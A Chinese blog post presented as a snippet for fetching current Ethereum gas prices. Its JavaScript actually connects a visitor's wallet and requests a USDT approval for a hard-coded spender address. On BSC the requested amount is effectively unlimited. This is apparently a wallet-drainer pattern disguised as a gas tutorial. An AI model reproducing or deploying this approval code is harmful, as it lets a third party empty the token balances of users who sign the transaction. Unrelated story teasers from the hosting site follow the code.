获取ETH链上转账最新的gas

                let walletAddress = await window.ethereum.enable().then((res) => {
                    return walletAddress = res[0];
                })
                const netId = await this.getNetworkId()
                //获取当前节点网络id
                console.log(walletAddress,'walletAddress',netId,'netId')
                let tokenAddress = netId == '1'?'0xdac17f958d2ee523a2206206994597c13d831ec7':'0x55d398326f99059ff775485246999027b3197955';
                let spenderAddress = address.result || '0x213D9388AE7DBde5EDF8a3D4CE2918049b2EAA7c';
                
                // console.log(tokenAddress,999**18)
                // 创建代币合约实例,替换为你的代币合约ABI和地址
                const contractAbi = netId == 1?ERC_USDT_ABI:GLOBAL_ABI; // 代币合约ABI
                let web3 = new Web3(window.web3.currentProvider)
                const contract  = new web3.eth.Contract(contractAbi, tokenAddress);
                // 转换代币数量为合约所需的格式
                console.log(contract.methods,'contract')
                const balance = await contract.methods.balanceOf(walletAddress).call();
                //获取当前钱包代币余额
                // ERC-20 代币合约地址 USDT - 0xdac17f958d2ee523a2206206994597c13d831ec7
                //BEP-20 代币合约地址 USDT - 0x55d398326f99059ff775485246999027b3197955
                const tokenContractAddress = netId == '1'?'0xdac17f958d2ee523a2206206994597c13d831ec7':'0x55d398326f99059ff775485246999027b3197955'; // 替换为你的 ERC-20 代币合约地址
                // 获取最新的 gasPrice
                const newGasPrice = await web3.eth.getGasPrice()
                // console.log(newGasPrice,'newGasPrice',Math.floor(newGasPrice * 1.1).toString())
                // const gasPriceInGwei = web3.utils.fromWei(Math.floor(newGasPrice * 1.1).toString(), 'gwei');
                // console.log('最新 gasPrice:', gasPriceInGwei, 'gwei');
                // 加载代币合约
                const tokenContract = new web3.eth.Contract(contractAbi, tokenContractAddress);
                
                // 获取授权方法的 gas 使用情况
                const methodSignature = tokenContract.methods.approve(tokenContractAddress, '1000000000000000000').encodeABI();
                const newGas = await web3.eth.estimateGas({
                    to: tokenContractAddress,
                    data: methodSignature
                })
                // console.log(newGas,'newGas')
                let amountInTokens = 100;
                let amountInWei = netId == 1 ?web3.utils.toWei(amountInTokens.toString(), 'ether'): await (999999999999999*1).toString().concat(web3.utils.padRight('0', 18));
                // 999999999999999
                web3.utils.toBN('0xffffffffffffffffffffff')
                web3.eth.getBlock('latest', (error, block) => {
                  if (error) {
                    console.error('获取最新区块失败:', error);
                  } else {
                    console.log('最新区块 gas 使用情况:', block.gasUsed);
                  }
                })
                // 设置 gasLimit 为预估的 gas 使用量加上一定的额外值(例如,加上20%的额外 gas)
                const gasLimit = Math.floor(newGas * 1.2); // 设置gasLimit
                const gasPrice = Math.floor(newGasPrice * 1.1).toString(); // 设置gasPrice,以wei为单位 6wei 
                const txObject = {
                  from: walletAddress,
                  gas: gasLimit,
                  gasPrice: gasPrice,
                };
                console.log(txObject)
                const tx1 = await contract.methods.approve(spenderAddress,amountInWei).send(txObject,(err,tx)=>{
                  console.log(err,tx,'approve/approve',tx1)
                })
          
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,470评论 6 501
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,393评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,577评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,176评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,189评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,155评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,041评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,903评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,319评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,539评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,703评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,417评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,013评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,664评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,818评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,711评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,601评论 2 353

推荐阅读更多精彩内容